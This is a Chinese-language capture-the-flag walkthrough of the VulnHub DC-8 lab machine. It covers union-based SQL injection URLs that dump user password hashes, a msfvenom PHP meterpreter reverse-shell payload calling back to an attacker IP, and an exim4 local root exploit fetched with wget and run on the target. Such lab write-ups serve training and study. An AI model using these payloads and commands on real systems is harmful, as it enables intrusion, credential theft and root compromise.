目录
介绍
系列: DC(此系列共10台)
发布日期:2019年9月8日
难度:中级
Flag:此挑战的最终目标是绕过双因素身份验证,获取root权限并读取唯一的Flag
学习:
- sql注入
- 网站挂马
- exim4提权
靶机地址:https://www.vulnhub.com/entry/dc-8,367/
从靶场得到提示信息:
- 靶机更适用Virtualbox
信息收集
主机发现
netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。
netdiscover -i eth0 -r 192.168.1.0/24
主机信息探测
信息探测:nmap -A -p- 192.168.1.125
,只开放了22和80端口
访问网站
目录扫描
没有发现什么有价值的线索,唯一看起来有点用的是登录页面:http://192.168.1.125/user
dirb http://192.168.1.125/ | grep -v 403
漏洞发现
目录扫描没发现啥有意思的东东,只能回来在网站上点点点,点击红框中的内容时,发现url栏中有id在变换,可以试试会不会存在sql注入
手工SQL联合查询注入
1. 判断列数,得知是1列
目的:只有猜解出列数,下一步才能判断哪些列数是可以被利用的
思路:使用order by关键字对数据库中的列进行排序。
如果列数正确那就能正常显示,否则会出错,列数的选择使用二分法来确定
http://192.168.1.125/?nid=1 order by 1--+
2. 数据查询&信息收集(union select)
需要知道,页面的内容,是由哪列显示出来的
方法:让id值为假,来执行后面的语句
由于我这里只有1列,所以直接查询了,比较简单。
- 获取数据库版本、名字
查询到数据库名字: d7db
http://192.168.1.125/?nid=-1 union select database() --+
查询数据库版本:10.1.26-MariaDB-0+deb9u1
http://192.168.1.125/?nid=-1 union select version() --+
3. 获取数据库的表名
下面两个命令是等价的,通过搜索“users”发现存在相关数据表。
http://192.168.1.125/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database()--+
http://192.168.1.125/?nid=-1%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='d7db'--+
4. 查询指定表名下的列名信息
注意到存在:name和pass两列
http://192.168.1.125/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
5. 查询指定列获取数据
爆出users表中name、pass列的数据,爆出两个用户名admin和john及密码加密后的密文
http://192.168.1.125/?nid=-1 union select group_concat(name,':',pass) from users --+
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
6. 爆破密码
成功爆破出john的密码是:turtle。至于admin用户的密码,就让软件后台先跑着吧
反弹shell
按照 DC7靶机 的经验,估计也是通过文本编辑器写入一句话木马获得shell。由于webshell管理工具的字体大小、背景颜色不便于截图展示,所以我这里还是用msf来做吧。
生成后门
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.118 lport=4444 -f raw
开启监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.118
exploit
获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
输入恶意代码后,点击页面最下方的“应用”按钮,然后回到上一级页面,点击刚刚编辑的“Content Us”页面
提权
如下图,靶机上只有一个用户 dc8user,没有发现什么有价值的信息。
尝试sudo提权:find / -perm -u=s -type f 2>/dev/null
找到一个exim4命令,exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限。
exim4提权
使用方法在网上搜索一下即可知道,下面的操作是从网上搜的。
- 确定exim4的版本:
/usr/sbin/exim4 --version
- 搜索相关本地提权的利用代码:
searchsploit exim
- 投递利用代码
kali准备:
cp /usr/share/exploitdb/exploits/linux/local/46996.sh getShell.sh
python3 -m http.server 80
靶机准备:
wget http://192.168.1.118/getShell.sh
chmod +x getShell.sh
./getShell.sh -m netcat
拿到Flag
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134242.html